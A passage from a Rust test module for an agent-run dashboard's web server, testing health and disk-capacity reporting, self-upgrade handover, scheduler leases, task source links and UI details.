22885        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22886            .expect("write magi.toml");
22887        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22888
22889        // It must answer 200 and leave the process alone: restarting for an
22890        // upgrade that did not happen parks the run in flight and drops every
22891        // connection to pay for nothing. A probe against a deck already on the
22892        // newest build did exactly that, which is how this case got its own
22893        // branch.
22894        let res = fx.post("/api/upgrade", None).await;
22895        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
22896        let body = res.json();
22897        assert!(body["to"].is_null(), "there was no release to move to");
22898        assert!(body["parked"].is_null(), "and nothing was parked");
22899        assert!(
22900            body["detail"]
22901                .as_str()
22902                .unwrap()
22903                .contains("nothing restarted"),
22904            "{body:?}"
22905        );
22906    }
22907
22908    async fn wait_for_disk_scan(state: &Arc<Mutex<DiskObservation>>) {
22909        tokio::time::timeout(Duration::from_secs(5), async {
22910            while state.lock().unwrap().in_flight {
22911                tokio::task::yield_now().await;
22912            }
22913        })
22914        .await
22915        .expect("capacity scan finished");
22916    }
22917
22918    fn disk_test_scope(home: &FsPath) -> DiskScope {
22919        DiskScope {
22920            runs: home.join("runs"),
22921            worktrees: home.join("worktrees"),
22922            cache: Some(home.join("cache")),
22923        }
22924    }
22925
22926    fn known_disk_capacity() -> DiskCapacity {
22927        DiskCapacity {
22928            free_bytes: Some(100),
22929            runs_bytes: Some(200),
22930            worktrees_bytes: Some(300),
22931            cache_bytes: Some(400),
22932        }
22933    }
22934
22935    #[tokio::test]
22936    async fn health_disk_cold_and_concurrent_requests_do_not_wait_for_capacity() {
22937        let home = TempDir::new().unwrap();
22938        std::fs::write(home.path().join("magi.toml"), "[update]\nmode = \"off\"\n").unwrap();
22939        let mut ui = delta_test_ui(home.path());
22940        let state = Arc::get_mut(&mut ui).unwrap();
22941        state.repo = home.path().to_owned();
22942        state.worktrees_root = home.path().join("worktrees");
22943        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
22944        ui.monitor
22945            .worker_started
22946            .store(true, std::sync::atomic::Ordering::SeqCst);
22947        let cfg = deputy_config(&ui.repo);
22948        let scope = DiskScope::of(&ui, cfg.as_ref());
22949        let (started, reached) = tokio::sync::oneshot::channel();
22950        let (release, blocked) = std::sync::mpsc::channel();
22951        let cold = DiskObservation::observe(&ui.monitor.disk, scope, move |_| {
22952            started.send(()).unwrap();
22953            blocked.recv().unwrap();
22954            known_disk_capacity()
22955        });
22956        assert!(cold.runs_bytes.is_none());
22957        tokio::time::timeout(Duration::from_secs(5), reached)
22958            .await
22959            .unwrap()
22960            .unwrap();
22961
22962        let requests: Vec<_> = (0..4)
22963            .map(|_| {
22964                let ui = ui.clone();
22965                tokio::spawn(async move { health(State(ui)).await.unwrap().0 })
22966            })
22967            .collect();
22968        tokio::time::timeout(Duration::from_secs(5), async {
22969            for request in requests {
22970                let view = request.await.unwrap();
22971                let disk = serde_json::to_value(view.disk).unwrap();
22972                assert!(disk["runs_bytes"].is_null());
22973                assert!(disk["worktrees_bytes"].is_null());
22974                // Free space is a cheap live observation even while the
22975                // recursive capacity measurement remains blocked.
22976                assert!(disk["free_bytes"].is_u64());
22977            }
22978        })
22979        .await
22980        .expect("health must return while the measurement is causally blocked");
22981        assert!(ui.monitor.disk.lock().unwrap().in_flight);
22982        // No competing worker can have published while the first holds flight.
22983        assert!(
22984            ui.monitor
22985                .disk
22986                .lock()
22987                .unwrap()
22988                .capacity
22989                .runs_bytes
22990                .is_none()
22991        );
22992        release.send(()).unwrap();
22993        wait_for_disk_scan(&ui.monitor.disk).await;
22994        assert_eq!(
22995            ui.monitor.disk.lock().unwrap().capacity.runs_bytes,
22996            Some(200)
22997        );
22998    }
22999
23000    #[tokio::test]
23001    async fn health_disk_refresh_retains_successes_and_cadence_starts_at_completion() {
23002        let home = TempDir::new().unwrap();
23003        let scope = disk_test_scope(home.path());
23004        let state = Arc::new(Mutex::new(DiskObservation {
23005            scope: Some(scope.clone()),
23006            capacity: known_disk_capacity(),
23007            finished: Some(std::time::Instant::now() - DISK_REFRESH * 2),
23008            ..Default::default()
23009        }));
23010        let (started, reached) = tokio::sync::oneshot::channel();
23011        let (release, blocked) = std::sync::mpsc::channel();
23012        let before = DiskObservation::observe(&state, scope.clone(), move |_| {
23013            started.send(()).unwrap();
23014            blocked.recv().unwrap();
23015            DiskCapacity {
23016                runs_bytes: Some(250),
23017                ..Default::default()
23018            }
23019        });
23020        assert_eq!(before.cache_bytes, Some(400));
23021        tokio::time::timeout(Duration::from_secs(5), reached)
23022            .await
23023            .unwrap()
23024            .unwrap();
23025        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
23026        for _ in 0..4 {
23027            let scans = duplicate_scans.clone();
23028            let during = DiskObservation::observe(&state, scope.clone(), move |_| {
23029                scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
23030                DiskCapacity::default()
23031            });
23032            assert_eq!(during.runs_bytes, Some(200));
23033            assert_eq!(during.cache_bytes, Some(400));
23034        }
23035        release.send(()).unwrap();
23036        wait_for_disk_scan(&state).await;
23037        let scans = duplicate_scans.clone();
23038        let after = DiskObservation::observe(&state, scope, move |_| {
23039            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
23040            DiskCapacity::default()
23041        });
23042        wait_for_disk_scan(&state).await;
23043        assert_eq!(after.runs_bytes, Some(250));
23044        assert_eq!(after.free_bytes, Some(100));
23045        assert_eq!(after.cache_bytes, Some(400));
23046        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
23047        assert!(state.lock().unwrap().finished.unwrap().elapsed() < DISK_REFRESH);
23048    }
23049
23050    #[tokio::test]
23051    async fn health_disk_changed_scope_never_publishes_the_previous_cache() {
23052        let home = TempDir::new().unwrap();
23053        let old_scope = disk_test_scope(home.path());
23054        let mut new_scope = old_scope.clone();
23055        new_scope.cache = Some(home.path().join("replacement-cache"));
23056        let state = Arc::new(Mutex::new(DiskObservation {
23057            scope: Some(old_scope.clone()),
23058            capacity: known_disk_capacity(),
23059            ..Default::default()
23060        }));
23061        let (started, reached) = tokio::sync::oneshot::channel();
23062        let (release, blocked) = std::sync::mpsc::channel();
23063        DiskObservation::observe(&state, old_scope, move |_| {
23064            started.send(()).unwrap();
23065            blocked.recv().unwrap();
23066            known_disk_capacity()
23067        });
23068        tokio::time::timeout(Duration::from_secs(5), reached)
23069            .await
23070            .unwrap()
23071            .unwrap();
23072        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
23073        let scans = duplicate_scans.clone();
23074        let changed = DiskObservation::observe(&state, new_scope.clone(), move |_| {
23075            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
23076            DiskCapacity::default()
23077        });
23078        assert!(changed.cache_bytes.is_none());
23079        assert!(changed.runs_bytes.is_none());
23080        release.send(()).unwrap();
23081        wait_for_disk_scan(&state).await;
23082        {
23083            let observation = state.lock().unwrap();
23084            assert!(observation.capacity.cache_bytes.is_none());
23085            assert!(observation.finished.is_none());
23086        }
23087        DiskObservation::observe(&state, new_scope.clone(), move |scope| {
23088            assert_eq!(scope, &new_scope);
23089            DiskCapacity {
23090                cache_bytes: Some(999),
23091                ..Default::default()
23092            }
23093        });
23094        wait_for_disk_scan(&state).await;
23095        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(999));
23096        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
23097    }
23098
23099    #[tokio::test]
23100    async fn health_disk_panicked_worker_releases_flight_and_retries_after_cadence() {
23101        let home = TempDir::new().unwrap();
23102        let scope = disk_test_scope(home.path());
23103        let state = Arc::new(Mutex::new(DiskObservation {
23104            scope: Some(scope.clone()),
23105            capacity: known_disk_capacity(),
23106            ..Default::default()
23107        }));
23108        DiskObservation::observe(&state, scope.clone(), |_| panic!("capacity worker failure"));
23109        wait_for_disk_scan(&state).await;
23110        {
23111            let mut observation = state.lock().unwrap();
23112            assert_eq!(observation.capacity.cache_bytes, Some(400));
23113            assert!(observation.finished.unwrap().elapsed() < DISK_REFRESH);
23114            observation.finished = Some(std::time::Instant::now() - DISK_REFRESH);
23115        }
23116        DiskObservation::observe(&state, scope, |_| DiskCapacity {
23117            cache_bytes: Some(450),
23118            ..Default::default()
23119        });
23120        wait_for_disk_scan(&state).await;
23121        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(450));
23122    }
23123
23124    #[test]
23125    fn health_disk_capacity_counts_empty_and_missing_without_following_links() {
23126        let home = TempDir::new().unwrap();
23127        assert_eq!(disk_capacity_size(&home.path().join("missing")), Some(0));
23128        assert_eq!(disk_capacity_size(home.path()), Some(0));
23129        std::fs::create_dir(home.path().join("nested")).unwrap();
23130        std::fs::write(home.path().join("nested/data"), b"12345").unwrap();
23131        assert_eq!(disk_capacity_size(home.path()), Some(5));
23132        #[cfg(unix)]
23133        {
23134            // Unix distinguishes an invalid descendant lookup from absence.
23135            assert_eq!(
23136                disk_capacity_size(&home.path().join("nested/data/child")),
23137                None
23138            );
23139        }
23140        #[cfg(unix)]
23141        {
23142            std::os::unix::fs::symlink(home.path(), home.path().join("nested/link")).unwrap();
23143            assert_eq!(disk_capacity_size(home.path()), Some(5));
23144        }
23145    }
23146
23147    #[tokio::test]
23148    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
23149        // `mode = "off"` for the same reason as the test above: a default
23150        // fixture repo falls back to `mode = "notify"`, which would make this
23151        // route's new `update` field a live, unauthenticated GitHub call on
23152        // every assertion in this suite that happens to hit `/api/health`.
23153        let repo = TempDir::new().expect("repo dir");
23154        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
23155            .expect("write magi.toml");
23156        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
23157
23158        let health = fx.get("/api/health").await.json();
23159        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
23160        assert_eq!(
23161            health["update"]["available"], false,
23162            "checking is off, which reads as \"unknown\", not \"none\""
23163        );
23164        assert!(health["update"]["to"].is_null());
23165        assert!(
23166            health["upgrade"].is_null(),
23167            "nothing has ever asked this deck to upgrade"
23168        );
23169    }
23170
23171    #[tokio::test]
23172    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
23173        let fx = Fixture::start().await;
23174        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
23175
23176        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23177        progress.parked_run = Some("20260905-000000-cd51".to_owned());
23178        progress.advance(crate::updater::Stage::Parking);
23179        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23180
23181        let health = fx.get("/api/health").await.json();
23182        assert_eq!(health["upgrade"]["stage"], "parking");
23183        assert_eq!(health["upgrade"]["from"], "0.5.1");
23184        assert_eq!(health["upgrade"]["to"], "0.5.2");
23185        let waiting_on = health["upgrade"]["waiting_on"]
23186            .as_str()
23187            .expect("waiting_on is set while parking a known run");
23188        assert!(waiting_on.contains("cd51"), "{waiting_on}");
23189        assert!(waiting_on.contains("implementing"), "{waiting_on}");
23190    }
23191
23192    #[tokio::test]
23193    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
23194        let fx = Fixture::start().await;
23195        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23196        progress.advance(crate::updater::Stage::Done);
23197        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23198
23199        let health = fx.get("/api/health").await.json();
23200        assert_eq!(health["upgrade"]["stage"], "done");
23201        assert!(
23202            health["upgrade"]["waiting_on"].is_null(),
23203            "nothing to wait on once it is done"
23204        );
23205    }
23206
23207    /// The handover signal is seen however the race falls, and wakes its one
23208    /// waiter once per signal - nothing here can spin.
23209    #[tokio::test]
23210    async fn the_handover_signal_wakes_one_waiter_once() {
23211        let signal = Notify::new();
23212        // Signalled before anyone waits: the stored permit is not lost.
23213        signal.notify_one();
23214        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
23215            .await
23216            .expect("an early signal is still seen");
23217        // One signal, one wake-up: a second wait does not resolve by itself.
23218        assert!(
23219            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
23220                .await
23221                .is_err(),
23222            "a consumed signal must not wake a second time"
23223        );
23224        // Signalled while waiting.
23225        let signal = std::sync::Arc::new(signal);
23226        let waiter = tokio::spawn({
23227            let signal = std::sync::Arc::clone(&signal);
23228            async move { wait_for_handover(&signal).await }
23229        });
23230        tokio::time::sleep(Duration::from_millis(20)).await;
23231        assert!(!waiter.is_finished(), "nothing was signalled yet");
23232        signal.notify_one();
23233        tokio::time::timeout(Duration::from_secs(5), waiter)
23234            .await
23235            .expect("a late signal wakes the waiter")
23236            .expect("join");
23237    }
23238
23239    #[tokio::test]
23240    async fn health_says_how_long_a_handover_has_been_stuck() {
23241        let fx = Fixture::start().await;
23242        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23243        progress.advance(crate::updater::Stage::Replaced);
23244        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
23245        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23246
23247        let health = fx.get("/api/health").await.json();
23248        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
23249        assert!(stuck >= 600, "{stuck}");
23250        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
23251        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
23252    }
23253
23254    #[tokio::test]
23255    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
23256        let home = tempfile::tempdir().expect("temp home");
23257        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23258        progress.advance(crate::updater::Stage::Parking);
23259        crate::updater::write_progress(home.path(), &progress).expect("seed");
23260        // What the second upgrade_and_restart and its handler do.
23261        let mut again = progress.clone();
23262        again.advance(crate::updater::Stage::Replaced);
23263        crate::updater::write_progress(home.path(), &again).expect("replaced");
23264        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23265        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
23266        let after = crate::updater::read_progress(home.path()).expect("record");
23267        assert_eq!(after.stage, crate::updater::Stage::Parking);
23268    }
23269
23270    #[tokio::test]
23271    async fn health_does_not_call_a_live_parking_wait_stuck() {
23272        let fx = Fixture::start().await;
23273        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23274        progress.parked_run = Some("20260905-000000-cd51".to_owned());
23275        progress.advance(crate::updater::Stage::Parking);
23276        let hours = Duration::from_secs(3 * 3600);
23277        progress.started_at = Timestamp::now() - hours;
23278        progress.updated_at = Timestamp::now() - hours;
23279        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23280        let _lease = crate::updater::LeaseGuard::enter(
23281            fx.home.path(),
23282            Some("20260905-000000-cd51".to_owned()),
23283        );
23284
23285        let health = fx.get("/api/health").await.json();
23286        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
23287        assert!(health["upgrade"]["stuck_kind"].is_null());
23288        assert_eq!(health["upgrade"]["handover_alive"], true);
23289        let waiting_on = health["upgrade"]["waiting_on"]
23290            .as_str()
23291            .expect("waiting_on");
23292        assert!(waiting_on.contains("cd51"), "{waiting_on}");
23293    }
23294
23295    fn idle_ui(home: &TempDir) -> Ui {
23296        let runs = home.path().join("runs");
23297        std::fs::create_dir_all(&runs).expect("runs dir");
23298        Ui::new(
23299            Queue::at(home.path().join("queue")),
23300            Questions::at(home.path().join("questions")),
23301            Talks::at(home.path().join("talks")),
23302            runs,
23303            home.path().to_path_buf(),
23304            PathBuf::from("/repo/magi"),
23305        )
23306        .with_launch(launch_idle)
23307    }
23308
23309    #[tokio::test]
23310    async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
23311        let home = TempDir::new().expect("temp home");
23312        let ui = idle_ui(&home);
23313        let lease = crate::worker::try_lease(home.path(), "scheduler")
23314            .expect("scheduler lease")
23315            .expect("free");
23316        crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
23317            .expect("request stop");
23318        let error = ui
23319            .start_detached_loop()
23320            .await
23321            .expect_err("transition is still live");
23322        assert_eq!(error.status, StatusCode::CONFLICT);
23323        assert!(error.message.contains("still running or stopping"));
23324        assert_eq!(
23325            crate::worker::control(home.path(), "scheduler").unwrap(),
23326            Some(crate::worker::Control::Stop)
23327        );
23328        drop(lease);
23329    }
23330
23331    #[tokio::test]
23332    async fn handover_releases_listener_without_waiting_for_execution_leases() {
23333        let home = TempDir::new().expect("temp home");
23334        let ui = idle_ui(&home);
23335        let turns = ui
23336            .begin_talk_turn("active-chat")
23337            .expect("claim")
23338            .expect("free");
23339        let execution = crate::worker::try_lease(home.path(), "active-task")
23340            .expect("execution lease")
23341            .expect("free");
23342        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
23343            .await
23344            .expect("bind loopback");
23345        let address = listener.local_addr().expect("address");
23346        let admissions = Arc::clone(&ui.admissions);
23347        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
23348        let successor_started = std::sync::atomic::AtomicBool::new(false);
23349        tokio::time::timeout(
23350            Duration::from_secs(2),
23351            hand_over(home.path(), &admissions, served, || {
23352                successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
23353                Ok(1)
23354            }),
23355        )
23356        .await
23357        .expect("restart must not wait for execution")
23358        .expect("handover");
23359        assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
23360        // BSD may retain the address briefly after listener release. The real
23361        // successor uses the same bounded bind retry rather than a one-shot bind.
23362        let successor = bind_waiting(address)
23363            .await
23364            .expect("successor binds released address");
23365        assert_eq!(successor.local_addr().unwrap(), address);
23366        assert!(turns.owns(), "the chat lease survives restart");
23367        assert!(
23368            crate::worker::try_lease(home.path(), "active-task")
23369                .unwrap()
23370                .is_none()
23371        );
23372        drop(execution);
23373        drop(turns);
23374    }
23375
23376    #[tokio::test]
23377    async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
23378        let home = TempDir::new().expect("temp home");
23379        let ui = idle_ui(&home);
23380        let admission = ui.begin_admission().expect("admit send");
23381        let turn = ui
23382            .begin_talk_turn("active-chat")
23383            .expect("claim")
23384            .expect("free");
23385        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
23386            .await
23387            .expect("bind loopback");
23388        let address = listener.local_addr().expect("address");
23389        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
23390        let successor_called = std::sync::atomic::AtomicBool::new(false);
23391        let handover = hand_over(home.path(), &ui.admissions, served, || {
23392            successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
23393            Ok(1)
23394        });
23395        tokio::pin!(handover);
23396        // Poll exactly to the writer waiting on our admission guard. This
23397        // pins the race without sleeps or assumptions about task scheduling.
23398        std::future::poll_fn(|cx| {
23399            assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
23400            std::task::Poll::Ready(())
23401        })
23402        .await;
23403        assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
23404        assert!(
23405            ui.begin_admission().is_err(),
23406            "new ingress cannot race the drain"
23407        );
23408        assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
23409        drop(admission);
23410        tokio::time::timeout(Duration::from_secs(2), handover)
23411            .await
23412            .expect("only publication may delay restart")
23413            .expect("handover");
23414        assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
23415        assert!(
23416            turn.owns(),
23417            "the detached chat turn is not awaited or cancelled"
23418        );
23419        assert!(
23420            ui.begin_admission().is_err(),
23421            "old accepted connections stay closed"
23422        );
23423        drop(turn);
23424    }
23425
23426    #[test]
23427    fn health_worker_metadata_never_contains_payload_or_result() {
23428        let view = WorkerView::from(crate::worker::Job {
23429            id: "job".into(),
23430            sequence: 1,
23431            kind: "service".into(),
23432            key: "maintenance".into(),
23433            payload: serde_json::json!({"env": {"TOKEN": "private"}}),
23434            generation: "generation".into(),
23435            version: Some("1.2.3".into()),
23436            status: crate::worker::Status::Running,
23437            result: Some("private diagnostics".into()),
23438            pid: Some(4242),
23439            created_at: 1,
23440            finished_at: None,
23441        });
23442        let value = serde_json::to_value(view).expect("serialize public metadata");
23443        assert_eq!(value["version"], "1.2.3");
23444        assert_eq!(value["pid"], 4242);
23445        assert!(value.get("payload").is_none());
23446        assert!(value.get("result").is_none());
23447        assert!(!value.to_string().contains("private"));
23448    }
23449
23450    #[test]
23451    fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
23452        let home = TempDir::new().expect("temp home");
23453        let ui = idle_ui(&home);
23454        std::fs::write(
23455            home.path().join("daemon.json"),
23456            serde_json::json!({
23457                "schema": 2, "pid": 4242, "worker_protocol": 1,
23458                "updated_at": Timestamp::now().to_string(), "idle": true,
23459            })
23460            .to_string(),
23461        )
23462        .expect("status");
23463        let reading = daemon::read_status(home.path());
23464        assert!(Foreign::of(reading.as_ref()).is_none());
23465        let view = ui.runtime_loop_view(reading, &[]);
23466        assert!(view.running);
23467        assert!(view.owned);
23468    }
23469
23470    #[test]
23471    fn only_an_explicit_one_requests_a_resume() {
23472        assert!(!resume_requested(None));
23473        assert!(!resume_requested(Some("0".into())));
23474        assert!(!resume_requested(Some("".into())));
23475        assert!(resume_requested(Some("1".into())));
23476    }
23477
23478    #[test]
23479    fn an_error_is_visible_from_where_the_button_is() {
23480        // The alert used to sit in the flow under the header. On a phone
23481        // scrolled 13 500 px down to a run's action sheet that is off screen,
23482        // so tapping Resume and being told "the loop is running run b455
23483        // right now" looked exactly like a button that did nothing.
23484        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
23485            ..APP_CSS.find(".alert-text").expect(".alert-text")];
23486        assert!(
23487            alert.contains("position: fixed"),
23488            "an error about the thing under your thumb has to be visible from \
23489             where your thumb is: {alert}"
23490        );
23491        assert!(
23492            alert.contains("z-index: 25"),
23493            "above the dock (20) and the run-actions FAB (15), so neither \
23494             buries it: {alert}"
23495        );
23496        assert!(
23497            alert.contains("var(--tap)"),
23498            "and clear of the dock and the home indicator: {alert}"
23499        );
23500        // The FAB sits at the same height on the right. An error that covered
23501        // it would hide the button the operator reaches for next.
23502        assert!(
23503            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
23504            "the FAB's column stays free: {alert}"
23505        );
23506    }
23507
23508    #[tokio::test]
23509    async fn an_older_attempt_says_what_replaced_it() {
23510        let fx = Fixture::start().await;
23511        let q = fx.queue();
23512        let runs = fx.runs();
23513        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23514        write_run(&runs, first, RunStatus::Stalled);
23515        write_run(&runs, second, RunStatus::Blocked);
23516
23517        let mut t = Task::new(
23518            "one task".to_owned(),
23519            "do it".to_owned(),
23520            PathBuf::from("/repo"),
23521            Source::Human,
23522        );
23523        t.runs = vec![first.to_owned(), second.to_owned()];
23524        q.put(&mut t).expect("put");
23525
23526        // Two cards with the same title and no hint which is which was the
23527        // question: "why are there two of the same, one stalled and one
23528        // blocked?" The older one now names its replacement.
23529        let rows = fx.get("/api/runs").await.json();
23530        let by = |short: &str| -> Value {
23531            rows.as_array()
23532                .unwrap()
23533                .iter()
23534                .find(|r| r["short"] == short)
23535                .cloned()
23536                .unwrap_or(Value::Null)
23537        };
23538        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
23539        assert!(
23540            by("bbbb")["superseded_by"].is_null(),
23541            "the latest attempt is not superseded by anything"
23542        );
23543        // Front end: the note has to be rendered, not just carried.
23544        assert!(APP_JS.contains("run.superseded_by"));
23545        assert!(APP_JS.contains("Superseded by"));
23546    }
23547
23548    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
23549        let mut t = Task::new(
23550            "one task".to_owned(),
23551            "do it".to_owned(),
23552            PathBuf::from("/repo"),
23553            Source::Human,
23554        );
23555        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
23556        t.status = status;
23557        t
23558    }
23559
23560    #[test]
23561    fn source_link_picks_the_page_that_filed_the_task() {
23562        let agent = |node: &str| Source::Agent {
23563            run: "20260904-014455-ab12".to_owned(),
23564            node: node.to_owned(),
23565        };
23566        let chat = source_link(&agent("chat")).expect("chat link");
23567        assert_eq!(chat.kind, "chat");
23568        assert_eq!(chat.id, "20260904-014455-ab12");
23569        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
23570        let run = source_link(&agent("implement")).expect("run link");
23571        assert_eq!(
23572            (run.kind, run.href.as_str()),
23573            ("run", "#/runs/20260904-014455-ab12")
23574        );
23575        assert_eq!(source_link(&Source::Human), None);
23576        assert_eq!(
23577            source_link(&Source::Issue {
23578                number: 3,
23579                repo: "o/r".to_owned()
23580            }),
23581            None
23582        );
23583        let odd = source_link(&Source::Agent {
23584            run: "a b/c".to_owned(),
23585            node: "chat".to_owned(),
23586        })
23587        .expect("link");
23588        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
23589    }
23590
23591    #[test]
23592    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
23593        assert!(
23594            !APP_JS.contains("src.node === \"chat\""),
23595            "inline href rule is back"
23596        );
23597        assert!(
23598            APP_JS.matches("sourceLinkOf(").count() >= 4,
23599            "helper must serve every page"
23600        );
23601        assert!(
23602            APP_JS.matches("openChatLink(").count() >= 3,
23603            "the run page still needs its explicit chat link"
23604        );
23605        assert!(
23606            !APP_JS.contains("const openChat = el("),
23607            "the Queue card duplicates its source label link again"
23608        );
23609        assert!(
23610            APP_JS.contains("metaKids.push(link ? el(\"a\""),
23611            "the task page must link a chat source label too"
23612        );
23613    }
23614
23615    #[test]
23616    fn task_ref_carries_the_source_link_for_a_chat_task() {
23617        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
23618        t.source = Source::Agent {
23619            run: "20260904-014455-ab12".to_owned(),
23620            node: "chat".to_owned(),
23621        };
23622        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
23623        let v = serde_json::to_value(&out).expect("json");
23624        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
23625        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
23626        assert_eq!(v["source_label"], t.source.label());
23627
23628        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
23629        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
23630            .expect("json");
23631        assert!(v["source_link"].is_null(), "{v}");
23632    }
23633
23634    #[test]
23635    fn task_view_serializes_source_link() {
23636        let mut t = Task::new(
23637            "t".to_owned(),
23638            "t".to_owned(),
23639            PathBuf::from("/repo"),
23640            Source::Agent {
23641                run: "20260901-000000-aaaa".to_owned(),
23642                node: "implement".to_owned(),
23643            },
23644        );
23645        t.runs.clear();
23646        let v = serde_json::to_value(TaskView::from(t)).expect("json");
23647        assert_eq!(v["source_link"]["kind"], "run", "{v}");
23648        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
23649    }
23650
23651    #[test]
23652    fn task_view_serializes_urgent_flag() {
23653        let mut t = Task::new(
23654            "t".to_owned(),
23655            "t".to_owned(),
23656            PathBuf::from("/repo"),
23657            Source::Human,
23658        );
23659        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
23660        assert_eq!(v["urgent"], false, "{v}");
23661        t.urgent = true;
23662        let v = serde_json::to_value(TaskView::from(t)).expect("json");
23663        assert_eq!(v["urgent"], true, "{v}");
23664        assert!(APP_JS.contains("task.urgent === true"));
23665    }
23666
23667    #[tokio::test]
23668    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
23669        let fx = Fixture::start().await;
23670        let runs = fx.runs();
23671        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23672        write_run(&runs, old, RunStatus::Blocked);
23673        write_run(&runs, new, RunStatus::Merged);
23674        let mut t = outcome_task(&[old, new], TaskStatus::Done);
23675        fx.queue().put(&mut t).expect("put");
23676
23677        let view = fx.get(&format!("/api/runs/{old}")).await.json();
23678        let task = &view["task"];
23679        assert_eq!(task["status"], "done");
23680        assert_eq!(task["is_latest"], false);
23681        assert_eq!(task["latest"]["short"], "bbbb");
23682        assert_eq!(task["finished_by"]["id"], new);
23683        assert_eq!(task["finished_by"]["outcome"], "merged");
23684        assert_eq!(task["closed_by_hand"], false);
23685        assert_eq!(view["status"], "blocked", "the run keeps its own status");
23686        assert!(APP_JS.contains("finished_by"));
23687        assert!(APP_JS.contains("superseded by run"));
23688    }
23689
23690    #[tokio::test]
23691    async fn the_latest_run_reports_a_held_task_without_a_successor() {
23692        let fx = Fixture::start().await;
23693        let runs = fx.runs();
23694        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23695        write_run(&runs, old, RunStatus::Stalled);
23696        write_run(&runs, new, RunStatus::Blocked);
23697        let mut t = outcome_task(&[old, new], TaskStatus::Held);
23698        fx.queue().put(&mut t).expect("put");
23699
23700        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
23701        assert_eq!(task["status"], "held");
23702        assert_eq!(task["is_latest"], true);
23703        assert!(task["latest"].is_null());
23704        assert!(task["finished_by"].is_null());
23705        assert_eq!(task["closed_by_hand"], false);
23706    }
23707
23708    #[tokio::test]
23709    async fn a_direct_run_has_no_task_outcome() {
23710        let fx = Fixture::start().await;
23711        let runs = fx.runs();
23712        let id = "20260901-000000-aaaa";
23713        write_run(&runs, id, RunStatus::Blocked);
23714        let view = fx.get(&format!("/api/runs/{id}")).await.json();
23715        assert!(view["task"].is_null());
23716    }
23717
23718    #[test]
